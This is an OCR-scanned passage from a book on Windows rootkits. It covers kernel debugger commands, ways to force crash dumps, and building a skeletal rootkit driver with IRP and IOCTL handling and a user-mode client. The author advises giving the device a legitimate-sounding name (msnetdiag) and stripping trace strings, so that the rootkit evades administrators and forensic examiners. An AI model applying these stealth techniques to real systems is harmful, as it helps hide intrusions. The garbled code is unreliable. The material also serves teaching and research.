The first command clears all existing breakpoints. The second command thaws out the target from its frozen state and allows it to continue executing. The third control key sequence detaches the kernel debugger from the target and terminates the kernel debugger. There are a couple of other control key combinations worth mentioning. For example, if you press Ctrl + V and then press the Enter key, you can toggle the debugger's verbose mode on and off. Also, if the target computer somehow becomes unresponsive, you can resynchronize it with the host machine by pressing Ctrl + R followed by the Enter key.
170
Part I
!process
The! process extension command displays metadata corresponding to a particular process or to all processes. As you'll see, this leads very naturally to other related kernel-mode extension commands. The ! process command assumes the following form:
!process Process Flags
The Process argument is either the process ID or the base address of the EPROCESS structure corresponding to the process. The Flags argument is a 5-bit value that dictates the level of detail that's displayed. If Flags is zero, only a minimal amount of information is displayed. If Flags is 31, the maximum amount of information is displayed. Most of the time, someone using this command will not know the process ID or base address of the process they're interested in. To determine these values, you can specify zero for both arguments to the ! process command, which will yield a bare bones listing that describes all of the processes currenty running.
kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** PROCESS 82bS3bd8 SessionId: none Cid: 0004 Peb: eeeeeeee ParentCid: 000 DirBase: 00122000 DbjectTable: 868000b0 HandleCount: 416 . Image: System PROCESS 83a6e2d0 SessionId: none Cid: 0170 Peb: 7ffdf000 ParentCid: 004 DirBase: 12f3f000 DbjectTable: 883be6l8 HandleCount: 28. Image: smss.exe PROCESS 83a312d0 SessionId: 0 Cid: 01b4 Peb: 7ffdf000 ParentCid: 0la8 DirBase: 11lle000 DbjectTable: 883fS428 HandleCount: 418. Image: csrss.exe PROCESS 837fal00 Sessionld: 0 Cid: 0le4 Peb: 7ffdS000 ParentCid: 01a8 Dir8ase: 10421000 DbjectTable: 8e9071d0 HandleCount: 95. Image: wininit.exe
Let's look at the second entry in particular, which describes smss. exe.
PROCESS 83a6e2de SessionId: none Cid: 0170 Peb: 7ffdf000 ParentCid: 004 DirBase: 12f3f000 DbjectTable: 883be618 HandleCount: 28 . Image: smss.exe
The numeric field following the word PROCESS, 83a6e2d0, is the base linear address of the EPROCESS structure associated with this instance of smss. exe. The Cid field (which has the value 0170) is the process ID. This provides us
Port I 1171
with the information we need to get a more in-depth look at a specific process.
kd > !process ef04 15 Searching for Process with Cid == f04 PROCESS 838748b8 Sessionld : 1 Cid : ef04 Peb: 7ffdeeee ParentCid: 0749 DirBase : 1075eeee ObjectTable: 95ace640 HandleCount: 46. Image : calc.exe VadRoot 83bbf660 Vads 49 Clone 0 Private 207. Modified 0. Locked 0. DeviceMap 93c5d438 93d549b8 Token 00:01 :32.366 ElapsedTime oo:oo :oo.eee UserTime oo:oo :oo.eee KernelTime QuotaPoolUsage[PagedPool] 63488 2352 QuotaPoolUsage[NonPagedPool] Working Set Sizes (now,min,max) (1030, 50, 345) (4120KB, 200KB, 1380KB) PeakWorkingSetSize 1030 59 Mb VirtualSize 59 Mb PeakVirtualSize 1047 PageFaultCount BACKGROlHl MemoryPriority BasePriority 8 281 CommitCharge THREAD 83db1790 Cid ef04.efe8 Teb: 7ffdfeee Win32Thread: fe6913d0 WAIT
Every running process is represented by an executive process block (an EPROCESS block). The EPROCESS is a heavily nested construct that has dozens of fields storing all sorts of metadata on a process. It also includes substruc. tures and pointers to other block structures. For example, the Peb field of the EPROCESS block points to the process environment block (PEB), which contains information about the process image, the DLLs that it imports, and the environmental variables that it recognizes. To dump the PEB, you set the current process context using the. process extension command (which accepts the base address of the EPROCESS block as an argument) and then issue the ! peb extension command.
kd> .process 838748b8 Implicit process is now 838748b8 kd> !peb PEB at 7ffdeeee No InheritedAddressSpace: ReadlmageFileExecOptions: No BeingDebugged: No ImageBaseAddress: 0015eeee Ldr 77674cc0 Ldr.lnitialized : Yes Ldr. lnlnitializationOrderModuleList: 003715f8 . 0037f608
172
ParI I
Ldr.lnLoadOrderModuleList: 98371578 . 9837f5f8 Ldr.lnMemoryOrderModuleList: 98371580 . 9837f600 Base TimeStamp Module 15eeee 4549b0be Nov 02 01:47:58 2006 C:\Windows\system32\calc.exe 775b0ee0 4791a7a6 Jan 18 23:32:54 2988 C:\Windows\system32\ntdll.dll
gdtl=03ff idtr=824304ee
In the output above, the first command uses the 0x80 mask to dump the control registers for the first processor (processor 0). The second command uses the 0x100 mask to dump the descriptor registers.
A complete memory dump is the largest of the three and includes the entire contents of the system's physical memory at the time of the event that led to the file's creation. The kernel memory dump is smaller. It consists primarily of memory allocated to kernel-mode modules (e.g., a kernel memory dump doesn't include memory allocated to user-mode applications). The small memory dump is the smallest of the three. It's a 64 KB file that archives a bare-minimum amount of system metadata.
PorI I 1173
Because the complete memory dump offers the most accurate depiction of a system's state, and because sub-terabyte hard drives are now fairly common, I recommend working with complete memory dump files. There are two different ways to manually initiate the creation of a dump file: Method 1: Use a special combination of keystrokes Method 2: Use Kd. exe
Method 1
The first thing you need to do is to open up the Control Panel and enable dump file creation. Launch the Control Panel's System applet and select the Advanced System Settings option. Click the Settings button in the Startup and Recovery section to display the Startup and Recovery window. The fields in the lower portion of the screen will allow you to configure the type of dump file you wish to create and its location (see Figure 4-6). Once you've enabled dump file creation, crank up regedi t. exe and open the following key:
Systemstar~
~fio,
,.sys~oot%~Y. OftoP
Figure 46
HKLM\System\CurrentContro1Set\Services\iSe42prt\Parameters\
Under this key, create a DWORD value named CrashOnCtrlScroll and set it to exl. Then reboot your machine.
>
After rebooting, you can manually initiate a bug check, thus generating a crash dump file, by holding down the rightmost Ctrl key while pressing the Scroll Lock key twice. This will precipitate a MANUAL LY_ INITIATED_CRASH bug check with a stop code of exeeeeeeE2. The stop code is simply a hexadecimal value that shows up on the Blue Screen of Death directly following the word "STOP."
174
Port I
Method 2
This technique requires a two-machine setup. However, once the dump file has been generated you only need a single computer to load and analyze the crash dump. As before, you should begin by enabling crash dump files via the Control Panel on the target machine. Next, you should begin a kernel debugging session and invoke the following command from the host:
kd> .crash
This will precipitate a MANUALLY_INITIATED_CRASH bug check with a stop code of exeeeeeeE2. The dump file will reside on the target machine. You can either copy it over to the host, as you would any other file, or install the Windows Debugging Tools on the target machine and run an analysis of the dump file there.
After the file has been loaded, you can use the. bugcheck extension command to verify the origins of the crash dump.
kd> .bugcheck Bugcheck code eeeeeeE2 Arg1.l1lents eeeeeeee eeeeeeee
eeeeeeee eeeeeeee
While using crash dump files to examine system internals may be more convenient than the host-target setup, because you only need a single machine, there are tradeoffs. The most obvious one is that a crash dump is a static snapshot and this precludes the use of interactive commands that place breakpoints or manage the flow of program control (e.g., go, trace, step, etc.).
If you're not sure if a given command can be used during the analysis of a crash dump, the Windows Debugging Tools online help specifies whether or not a command is limited to live debugging. For each command, reference the target field under the command's Environment section (see Figure 4-7).
Environment
Figure 47
ParI I 1175
>
176 1 Port I
ntdll . dll
User Mode Kernel Mode
Figure 4-8
To feed information to the driver, the I/O manager passes the address of an IRP to the KMD as an argument to a dispatch routine exported by the KMD. The KMD routine will process the IRP, performing a series of actions, and then return program control back to the I/O manager. There can be instances where the I/O manager ends up routing an IRP through several related KMDs (referred to as a driver stack). Ultimately, one of the exported driver routines in the driver stack will complete the IRP, at which point the I/O manager will dispose of the IRP and report the final status of the original call back to the user-mode program that initiated the request. The previous discussion may seem a bit foreign (or perhaps vague). This is a normal response, so don't let it discourage you. The details will solidify as we progress. For the time being, all you need to know is that an IRP is a blob of memory used to ferry data to and from a KMD. Don't worry about how this happens. From a programmatic standpoint, an IRP is just a structure written in C that has a bunch of fields. I'll introduce the salient structure members as needed. If you want a closer look to satisfy your curiosity, you can find the IRP structure's blueprints in wdm. h. The official Microsoft documentation refers to the IRP structure as being "partially opaque" (partially undocumented).
Part I
1177
The I/O manager allocates storage for the IRP and then a pointer to this structure gets thrown around to everyone and his uncle until the IRP is completed. From 10,000 feet, the existence of a KMD centers on IRPs. In fact, to a certain extent a KMD can be viewed as a set of routines whose sole purpose is to accept and process IRPs. In the spectrum of possible KMDs, our driver code will be relatively straightforward. This is because our needs are modest. The rootkit KMDs that we create exist primarily to access the internal operating system code and data structures. The IRPs that they receive will serve to pass commands and data between the user-mode and kernel-mode components of our rootkit. Introducing new code into kernel space has always been a somewhat mysterious art. To ease the transition to kernel mode, Microsoft has introduced device driver frameworks . For example, the Windows Driver Model (WDM) was originally released to support the development of drivers on Windows 98 and Windows 2000. In the years that followed, Microsoft came out with the Windows Driver Framework (WDF), which encapsulated the subtleties of WDM with another layer of abstraction. The relationship between the WDM and WDF frameworks is similar to the relationship between COM and COM +, or between the Win32 API and the MFC. To help manage the complexity of a given development technology, Microsoft wraps it up with objects until it looks like a new one. In this book, I'm going to stick to the older WDM.
AMinimal Rootkit
The following snippet of code represents a truly minimal KMD. Don't panic if you feel disoriented, I'll step you through this code one line at a time.
#include "ntddk.h" #include "dbgmsg.h" VOID Unload(IN PDRIVER_OBJECT pDriverObject)
{
DBG_TRACE("OnUnload","Received signal to unload the driver"); return; }/*end Unload ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -- - - - - - - - - - - - - - -* / NTSTATUS D riverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICDDE_STRING regPath)
{
DBG_TRACE("Driver Entry", "Driver has been loaded"); (*pDriverObject).DriverUnload ; Unload; return(STATUS_SUCCESS); }/*end DriverEntry()-- ---------- --------------------------------------------*/
178
Port I
The DriverEntry() routine is executed when the KMD is first loaded into kernel space. It's analogous to the main () or WinMain () routine defined in a user-mode application. The DriverEntry() routine returns an 32-bit integer value of type NTSTATUS. The two highest-order bits of this value define a severity code that offer a general indication of the routine's final outcome. The layout of the other bits is given in the WDK's ntdef. h header file.
II II 3 3 2 2 2 2 2 2 222 2 1 1 1 1 1 1 1 111 II 109 8 7 6 543 2 109 8 7 6 543 2 109 8 7 6 543 2 1 0 II +---+-+-------------------------+-------------------------------+ facility Code II :Sev:C: II +---+-+-------------------------+-------------------------------+ II Sev - is the severity code II 00 - Success II 01 - Informational II 1e - Warning II 11 - Error II C - is the Customer code flag (set if this value is customer-defined) II Facility - facility code (specifies the facility that generated the II error) II Code - is the facilitys status code II
The following macros, also defined ntdef. h, can be used to test for a specific severity code:
#define #define #define #define NT_SUCCESS(Status) NT_INFORMATION(Status) NT_WARNING(Status) NT_ERROR(Status) (NTSTATUS)(Status ULONG)(Status ULONG)(Status ULONG)(Status
>= e) 3e) == 1)
30) == 2) 30) == 3)
Now let's move on to the parameters of DriverEntry(). For those members of the audience that aren't familiar with Windows API conventions, the IN attribute indicates that these are input parameters (as opposed to parameters qualified by the OUT attribute, which indicates that they return values to the caller). Another thing that might puzzle you is the "p" prefix, which indicates a pointer data type. The DRIVER_OBJECT parameter represents the memory image of the KMD. It's another one of those "partially opaque" structures (see wdm. h in the WDK). It stores metadata about the KMD and other fields used internally by the I/O manager. From our standpoint, the most important aspect of the DRIVER_OBJECT is that it stores the following set of function pointers:
PORIVER_INITIALIZE PDRIVER_UNLOAD PORIVER_DISPATCH DriverInit; DriverUnload; MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
Port I 1179
By default, the I/O manager sets the Driverlnit pointer to store the address of the DriverEntry() routine. The DriverUnload pointer can be set by the KMD. It stores the address of a routine that will be called when the KMD is unloaded from memory. This routine is a good place to tie up loose ends, close file handles, and generally clean up before the driver terminates. The MajorFunction array is essentially a call table. It stores the addresses of routines that receive and process IRPs (see Figure 4-9).
PDEVICE_DBJ ECT DeviceDbjec t
~l a jorFun c tion[
I RP_MJ_C REATE] ()
~lajo r Fu n ctio n[
I RP_MJ_CLOSE] ()
DRIVER_OBJECT
Drive r Unload()
Figure 49
The regPath parameter is just a Unicode string describing the path to the KMD's key in the registry. As is the case for Windows services (e.g., Windows event log, remote procedure call, etc.), drivers typically leave an artifact in the registry that specifies how they can be loaded and where the driver executable is located. If your driver is part of a rootkit, this is not a good thing because it translates into forensic evidence. The body of the DriverEntryO routine is pretty simple. I initialize the DriverUnload function pointer and then return STATUS_SUCCESS. I've also included a bit of tracing code. Throughout this book you'll see it sprinkled in my code. This tracing code is a poor man's troubleshooting tool that uses macros defined in the rootkit skeleton's dbgmsg. h header file.
#ifdef LOG_OFF
DBG_TRACE(src,msg) DBG_PRINT1(argl) DBG_PRINT2(fmt,argl) DBG_PRINT3(fmt,argl,arg2) DBG_PRINT4(fmt,argl,arg2,arg3) DBG_TRACE(src,msg) DbgPrint("[%s]: %s\n", src, msg)
180
Port I
DbgPrint( "%s", argl) DbgPrint(fmt, argl) DbgPrint(fmt, argl, arg2) DbgPrint(fmt, argl, arg2, arg3)
These macros use the WDK's DbgPrint() function, which is the kernel mode equivalent of printf() . The DbgPrint() function streams output to the console during a debugging session. If you'd like to see these messages without having to go through the hassle of cranking up a kernel-mode debugger like Kd. exe, you can use a tool from Sysinternals named
Dbgview. exe.
To view DbgPrint () messages with Dbgview. exe, make sure that the Capture Kernel menu item is checked under the Capture menu .
copiU,.l
,f ,f ,f
Option'
Computer
H.lp
Ctrl- W
.....
~ 9'
=II@I_
-.-
1 ~ III 1
"
Ctrl+K
"
Figure 4-10
"
One problem with tracing code like this is that it leaves strings embedded in the binary. In an effort to minimize the amount of forensic evidence in a production build, you can set the LOG_OFF macro at compile time to disable tracing.
Handling IRPs
The KMD we just implemented doesn't really do anything other than display a couple of messages on the debugger console. To communicate with the outside, our KMD driver needs to be able to accept IRPs from the I/O manager. To do this, we'll need to populate the MajorFunction call table we met earlier. These are the routines to which the I/O manager will pass its IRP pointers. Each IRP that the I/O manager passes down is assigned a major function code of the form IRP_ MJ _xxx. These codes tell the driver what sort of operation it
Port I 1181
should perform to satisfy the I/O request. The list of all possible major function codes is defined in the WDK's wdm. h header file .
#define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define IRP_MJ_CREATE IRP_MJ_CREATE_NAMED_PIPE IRP_MJ_CLOSE IRP_MJ_READ IRP_MJ _WRITE IRP_MJ_QUERY_INFDRMATION IRP_MJ_SET_INFDRMATION IRP_MJ_QUERY_EA IRP_MJ_SET_EA IRP_MJ_FLUSH_BUFFERS IRP_MJ_QUERY_VOLUME_INFDRMATION IRP_MJ_SET_VOLUME_INFDRMATION IRP_MJ_DIRECTORY_CONTROL IRP_MJ_FILE_SYSTEM_CONTROL IRP_MJ_DEVICE_CONTROL IRP_MJ_INTERNAL_DEVICE_CONTROL IRP_MJ_SI-fJTIXW.I IRP_MJ_LOCK_CONTROL IRP_MJ_CLEAMJP IRP_MJ_CREATE_MAILSLOT IRP_MJ_QUERY_SECURITY IRP_MJ_SET_SECURITY IRP_MJ_POWER IRP_MJ_SYSTEM_CONTROL IRP_MJ_DEVICE_CHANGE IRP_MJ_QUERY_QUOTA IRP_MJ_SET_QUOTA IRP_MJ_PNP IRP_MJ_PNP_POWER IRP_MJ_MAXlMUM_FUNCTION 0xOO 0x0l 0x02 0x03 0x04 0x0S 0x06 0x07 0x0S 0x09 0x0a 0xeb 0x0c 0xed 0x0e 0xef 0x10 0xll 0x12 0x13 0x14 0x15 0x16 0x17 0xlS 0x19 0xla 0xlb I RP_MJ_PNP 0xlb
/ / Obsolete ... .
Read requests pass a buffer to the KMD (via the IRP) that is to be filled with data from the device. Write requests pass data to the KMD that is to be written to the device. Device control requests are used to communicate with the driver for some arbitrary purpose (as long as it isn't for reading or writing). Because our rootkit KMD isn't associated with a particular piece of hardware, we're interested in device control requests. As it turns out, this is how the user-mode component of our rootkit will communicate with the kernel-mode component.
1821 Part I
NTSTATUS DriverEntry
(
(*pDriverObject).MajorFunction[i] = defaultDispatchj
}
(*pDriverObject) .MajorFunction[IRP_MJ_DEVICE_CONTROL]= dispatchlOControlj (*pDriverObject).DriverUnload = Unloadj DriverObjectRef = pDriverObjectj //set global reference variable return(STATUS_SUCCESS)j }/*end DriverEntry()---------------- -- ------- -- ----------------------------- */
The MajorFunction array has an entry for each IRP major function code. Thus, if you so desired, you could construct a different function for each type of IRP. But, as I just mentioned, we're only truly interested in IRPs that correspond to device control requests. Thus, we'll start by initializing the entire MajorFunction call table (from IRP_MJ_CREATE to IRP_MJ_MAXIMUM_ FUNCTION) to the same default routine and then overwrite the one array element that corresponds to device control requests. This should all be done in the Dri verEntry () routine, which underscores one of the primary roles of the function . The functions referenced by the MajorFunction array are known as dispatch routines . Though you can name them whatever you like, they must all possess the following type signature:
NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)j
The default dispatch routine defined below doesn't do much. It sets the information field of the IRP's IoStatus member to the number of bytes successfully transferred (i.e., e) and then "completes" the IRP so that the I/O manager can dispose of the IRP and report back to the application that initiated the whole process (ostensibly with a STATUS_SUCCESS message).
NTSTATUS defaultDispatch
(
ParI I 11 83
While the defaul tDispatch () routine is, more or less, a placeholder of sorts, the dispatchIOControl() function accepts specific commands from user mode. As you can see from the following code snippet, information can be sent or received through buffers. These buffers are referenced by void pointers for the sake of flexibility, allowing us to pass almost anything that we can cast. This is the primary tool we will use to facilitate communication with user-mode code.
NTSTATUS dispatchlOControl
( IN PDEVICE_OBJECT IN PIRP
pOeviceObject, plRP
STATUS_SUCCESSj
= STATUS_SUCCESSj
= 0j
(*pIRP).Associatedlrp.SystemBufferj (*pIRP).Associatedlrp.SystemBufferj
//get a pointer to the caller's stack location in the given IRP //This is where the function codes and other parameters are = loGetCurrentlrpStackLocation(pIRP)j irpStack inputBufferLength = (*irpStack).Parameters.DeviceloControl.lnputBufferLengthj output Buffer Length = (*irpStack).Parameters.DeviceloControl.OutputBufferLengthj = (*irpStack).Parameters.DeviceloControl.loControlCodej ioctrlcode DBG_TRACE("dispatchIOControl","Received a coornand")j //check the I/O Control Code switch(ioctrlcode)
{
TestCOI1IlIand
184
Port I
= outputBufferlength;
The secret to knowing what's in the buffers, and how to treat this data, is the associated I/O control code (also known as an IOCTL code). An VO control code is a 32-bit integer value that consists of a number of smaller subfields. As you'll see, the VO control code is passed down from the user application when it interacts with the KMD. The KMD extracts the IOCTL code from the IRP and then stores it in the ioctrlcode variable. Typically this integer value is fed to a switch statement. Based on its value, program-specific actions can be taken. In the previous dispatch routine, IOCTL_TEST_CMD is a constant computed via a macro:
#define IOCTl_TEST_CMD \ CTl_CODE{FIlE_DEVICE_RK, axsa1, METHOD_BUFFERED, FIlE_READ_DATA:FIlE_WRITE_DATA)
This custom macro represents a specific VO control code. It employs the system-supplied CTL_CODE macro, which is declared in wdm.h and is used to define new IOCTL codes.
#define CTl_CODE{ DeviceType, Function, Method, Access ) ( ({DeviceType) 16) : ({Access) 14) : ({Function) 2)
\ (Method) \
You may be looking at this macro and scratching your head. This is understandable, there's a lot going on here. Let's move through the top line in slow motion and look at each parameter individually.
DeviceType
The device type represents the type of underlying hardware for the driver. The following is a sample list of predefined device types:
Part I 1185
9xeeeeeee2 9xeeeeeee7
exeeeeee33
For an exhaustive list, see the ntddk. h header file that ships with the WDK. In general, Microsoft reserves device type values from 0x0000 to 0x7FFF (0 through 32,767). Developers can define their own values in the range 0xS000 - 0xFFFF (32,768 through 65,535). In our case, we're specifying a vendor-defined value for a new type of device:
Fundion
The function parameter is a program-specific integer value that defines what action is to be performed. Function codes in the range 0x0000 - 0x07FF (0 through 2,047) are reserved for Microsoft Corporation. Function codes in the range 0x0S00 - 0x0FFF (2,048 through 4,095) can be used by customers. In the case of our sample KMD, we've chosen 0x0S01 to represent a test command from user mode.
Method
This parameter defines how data will pass between user-mode and kernelmode code. We chose to specify the METHOD_BUFFERED value, which indicates that the OS will create a non-paged system buffer, equal in size to the application's buffer.
Access
The access parameter describes the type of access that a caller must request when opening the file object that represents the device. FILE_READ_DATA allows the KMD to transfer data from its device to system memory. FILE_WRITE_DATA allows the KMD to transfer data from system memory to its device.
186
Port I
DBG_TRACE("Driver Entry", "Failed to create device"); return ntStatus; DBG_TRACE("Driver Entry","Registering driver's symbolic link"); ntStatus = RegisterDriverDeviceLink(); if(!NT_SUCCESS(ntStatus
{
This code can be copied into the KMD's DriverEntryO routine. The first function call creates a device object and uses a global variable (MSNetDiagDeviceObject) to store a reference to this object.
const WCHAR DeviceNameBuffer[ 1 = L"\\Device\ \msnetdiag"; PDEVICE_DBJECT MSNetDiagDeviceObject; NTSTATUS RegisterDriverDeviceName
(
IN PDRIVER_DBJECT pOriverObject
= IoCreateDevice
llpointer to driver object 11# bytes allocated for device extension &UnicodeString, II unicode string containing device name FILE_DEVICE_RK, Ildriver type (vendor defined) Ilsystem-defined constants, OR-ed together e, lIthe device object is an exclusive device TRUE, &MSNetDiagDeviceObject II pointer to global device object pOriverObject,
e,
);
Part I 1187
The name of this newly minted object, \Device \msnetdiag, is registered with the operating system using the Unicode string that was derived from the global DeviceNameBuffer array. You can verify this for yourself using the Winobj . exe tool from Sysinternals (see Figure 4-11).
WinObj . Sys.ntem,ls: www.5).slntem.ls.com
f ile
~~
_____________________ 0
G ~
tielp
-'..I 1:2i'@1
8 \
AtcN.me Name
Type
Symbohclmk Device Dtvice
O~ce
SymLink
o
00
B.seN.medObJt C,lIback
1I<'i MlllslotR~lrKtor
\Oe\'iceWup\;M.,lslotR...
~ MountPo'ntManager
@ MPS
.;t) Mup
ONice
D~.,
DF'I e.System
(jl08Al ~1
DeviCe. OMct
D ~c e
Oh'tCt
[j
e Nd,s '.n
1 NdtsWanBh
I
\ OevKe\ NOMP6
Figure 4-11
In Windows, the operating system uses an object model to manage system constructs. Specifically, many of the structures that populate kernel space can be abstracted to the extent that they can be manipulated using a common set of routines (i.e., as if each structure were derived from a base object class). Clearly, most of the core OS is written in C, so I'm not referring to programmatic objects. Rather, the executive is organizing and treating certain internal structures in a manner that is consistent with the object-oriented paradigm. The Winobj . exe tool allows you to view the namespace maintained by the executive's object manager. In this case we'll see that \Device\msnetdiag is the name of an object of type Device.
Once we've created a device object via a call to RegisterDriverDeviceName(), we can create and link a user-visible name to the device with the next function call.
const WCHAR DeviceLinkBuffer[]
=
L"\\DosDevices\\msnetdiag";
NTSTATUS RegisterDriverOeviceLink()
{
188
Part I
&unicodeLinkString, &unicodeString
);
As before, we can use Winobj . exe to verify that an object named \Global?? \ msnetdiag has been created. The tool shows that this object is a symbolic link and references the \Device\msnetdiag object (see Figure 4-12).
If: WinObJ . ~inmn.1s; www.sysinlem.ls.cOn.l
file
~ew
tltlp
89 \
a a
A"N.m.
Bl s~am ed ObJt
Name
Typ.
Symbcliclmk SymbolicLink
Symlink
Ii'MAll SlOT
C"Ub",k Delrke
Dnver
FIIDystem
lJl MountPointManagv
MpsDevice
Symboliclink
Symboliclink Symbohc ltnk.
eGlOBAl??
I1'NOIS Vi Ndisulo
{ilNdlsWan
KernelObJects KnownOlls
NlS ObJKtTypes
\Device\ Ndis \ Oevice\ Ndisulo \ OeY1u.\Nd,sWa n \ Oevice\ NDMP6 \ DevlCt!\ NOMP7 \ Oev.ce\ NCMPS \ Device\ Nsi
\ Gl OB AU?\msnetdiIl9
Figure 4-12
> Nole:
The name that you assign to the driver device and the symbolic link are comp letely arbitrary. However, I like to use names that sound legitimate (e.g ., msnetdiag) to help obfuscate the fact that what I'm registering is part of a rootkit. From my own experience, certain system administrators are loath to delete anything that contains acronyms like "OLE," "COM," or "RPC. " Another approach is to use names that differ only slightly from those used by genuine drivers. For inspiration, use the drivers . exe tool that ships with the WDK to view a list of potential candidates .
Both the driver device and the symbolic link you create exist only in memory. They will not survive a reboot. You'll also need to remember to unregister them when the KMD unloads. This can be done by including the following few lines of code in the driver's Unload () routine:
pdeviceObj
=
(*pOriverObject).DeviceObject;
//necessary, otherwise you must reboot to clear device name and link entries
Port I 1189
if (pdeviceObj!= NULL)
{
08G_TRACE("OnUnload","Unregistering driver's symbolic link")j RtlInitUnicodeString( &unicodeString, DeviceLinkBuffer)j IoOeleteSymbolicLink( &UnicodeString )j 08G_TRACE("OnUnload","Unregistering driver's device name")j IoOeleteDevice( {*pDriverObject).DeviceObject)j
}
> Nole:
Besides just offering a standard way of accessing resources, the object manager and its naming scheme were originally put in place fo r the sake of supporting the Windows POSIX subsystem. One of the basic percepts of the UNIX world is that "everything is a file ." In other words, all hardware peripherals and certain system resources can be manipulated programmatically as files. These special files are known as device files, and they reside in the /dev directory on a standard UNIX install. For example, the /dev/kmem device file provides access to the virtual address space of the operating system (excl ud ing memory associated with I/ O peripherals) .
The first thing this code does is to access the symbolic device link established by the KMD and then use this link to open a handle to the KMD's device object.
lithe following variable is global and declared elsewhere
const char User landPath [] = "\\ \\. \ \msnetdiag" j int setDeviceHandle(HANDLE *pHandle) {
190
Port I
UserlandPath, GENERIC_READ
0,
GENERIC_WRITE,
//path to device file //access rights to device requested //dwShareMode (0 = not shared) //lpSecurityAttributes //this function fails if file doesn't exist //file has no attributes //hTemplateFile (file attribute templates)
if(*pHandle==INVALID_HANDLE_VALUE)
{
DBG_PRINT2("[setDeviceHandle): handle to %s not valid\n",UserlandPath); return(STATUS_FAILURE_OPEN_HANDLE); DBG_TRACE("setDeviceHandle","device file handle acquired"); return(STATUS_SUCCESS); }/*end setDeviceHandle()--- --------------- ---------------------------------*/
If a handle to the msnetdiag device is successfully acquired, the user-mode code invokes a Windows API routine (i.e., DeviceloControl( that sends the VO control code that we defined earlier. The user-mode application will send information to the KMD via an input buffer, which will be embedded in the IRP that the KMD receives. What the KMD actually does with this buffer depends upon how the KMD was designed to respond to the VO control code. If the KMD wishes to return information back to the user-mode code, it will populate the output buffer (which is also embedded in the IRP).
int TestOperation(HANDLE hDeviceFile)
{
BOOL opStatus char *inBuffer; char *outBuffer; DWORD nBufferSize DWORD bytesRead
= TRUE;
= 32; = 0;
DBG_TRACE("TestOperation","Could not allocate memory for CM:>_TEST_OP"); return(STATUS_FAILURE_NO_RAM); sprintf(inBuffer, "This is the INPUT buffer"); sprintf(outBuffer, "This is the OUTPUT buffer"); DBG_PRINT2("[TestOperation): cmd=%s, Test Conrnand\n",CM:>_TEST_OP); opStatus = DeviceloControl
(
hDeviceFile, (DWORD)IOCTL_TEST_CM:>,
PorI I 1191
//LPVOID lpInBuffer, //DWORD nInBufferSize, //LPVOID lpOutBuffer, //DWORD nOutBufferSize, //# bytes actually stored in output buffer //LPOVERLAPPED lpOverlapped (can ignore)
);
if(opStatus==FALSE)
{
DBG_TRACE("TestOperation", "Call to DeviceIoControlO FAILED\n"); printf("[TestOperation): bytesRead=%d\n",bytesRead); printf(" [TestOperation): outBuffer=%s\n" , outBuffer); free(inBuffer); free(outBuffer); return(STATUS_SUCCESS); }/*end TestOperation()--------------- --------------------------------------*/
Thus, to roughly summarize what happens: The user-mode application allocates buffers for both input and output. It then calls the DeviceloControl () routine, feeding it the buffers and specifying an I/O control code. The I/O control code value will determine what the KMD does with the input buffer and what it returns in the output buffer. The arguments to DeviceloControl () migrate across the border into kernel mode where the I/O manager
1nputBuffcr" outputBuffcr
upSt:lC~
1nputBuffcrlcnh'1:n
out:pY1:Byffc"lcn~th
= = = = =
l.oct,.lcodc
(pIRP).Assoc1~tcdlr'p SystcmBuffc,.. (pIRP) .ASSOC1<.1tccUrp .SystcmBuffcr. IoGctCu,.,.cntlrpStoacklocoat10n(pIRP): (l.I'''pStack) . Pa,.::unctc,-s DC!v1CC!IoControl. InputBuffcrlcnj.,'1:h; (1I"pStOlck) P"'''3l'I'Ictcrs .Dc\l 1CcloControl.OutputBuffcrlcnj.;th; (. u-pStack) . Par3mctcrs Dev1ccloCont ..ol. IoContr-olCodc;
hol.dll (Hal'()
Hardware
Figure 413
192
Po rt I
repackages them into an IRP structure. The IRP is then passed to the dispatch routine in the KMD that handles the IRP_MJ_DEVICE_CONTROL major function code. The dispatch routine inspects the I/O control code and takes whatever actions have been prescribed by the developer who wrote the routine (see Figure 4-13).
The source code for both components of our skeletal rootkit is listed in the appendix. The directory tree that houses everything is displayed in Figure 4-14. This folder hierarchy is structured to accommodate future growth and expansion. Though, as I stated earlier, most rootkits are, by necessity, relatively small programs.
Inc
.. , .. krn kmd
usr
Binary deliverables (i.e., the KMD's .sys file and the user-mode .exe file) are placed in the /bin directory at Figure 4-14 the end of the build cycle. Any third-party libraries (DLLs or static .lib files) that the rootkit uses belong in the /lib directory. Source code blueprints for the KMD are stored in the /src/krn/kmd directory. Batch scripts used to install and manage the KMD at are located just above the source code in the /src/krn directory. User-mode code has been placed in the /src/usr directory. The script used to build the user-mode code is also in this directory. Common header files that are included by both components are located in the /src/inc directory.
Table 4-8
Directory
/bin /lib /src/inc /src/ usr /src/krn /src/krn/kmd
D escription Binary deliverables (.sys and .exe files) Third-party libraries (Dlls, static .lib files) (amman headerfiles (*.h files) User-mode code and build scripts Kernel-made driver installation and management scripts Kernel-made driver source code and build scripts
Port I 1193
Performing a Build
As a matter of personal preference, I try to build on the command line. As with the skeleton's source code, complete build scripts are listed in the appendix. I'll provide relevant snippets in this section to give you an idea of how things operate and have been arranged. The user-mode portion of our rootkit utilizes a standard makefile approach. The build cycle is initiated from a batch file named b1dusr. bat, which invokes nmake. exe and specifies a makefile named makefile . txt on the command line.
IF %1 == debug (nmake .exe lNOLOGO IF makefile.txt BLDTYPE=DEBUG %l)&(GOTO ELevel) IF %1 == release (nmake.exe lNOLOGO IF makefile.txt %l)&(GOTO ELevel) IF %1 == clean (nmake.exe lNOLOGO IF makefile.txt %l)&(GOTO ELevel)
To build the user -mode component of the skeletal rootkit, simply open up a command prompt, change the current working directory to /ske1eton/src/ us r , and invoke b1dusr . bat. The batch file sets up its own environment and is fairly self-evident. The kernel-mode portion of the rootkit involves a slightly less conventional approach that is based on two features. First, the WDK ships with a tool named build. exe that serves as a less complicated version of nmake. exe. Second, the KMD's build cycle leverages prefabricated environments that the WDK establishes for you.
F 4-15 igure
194 I Port I
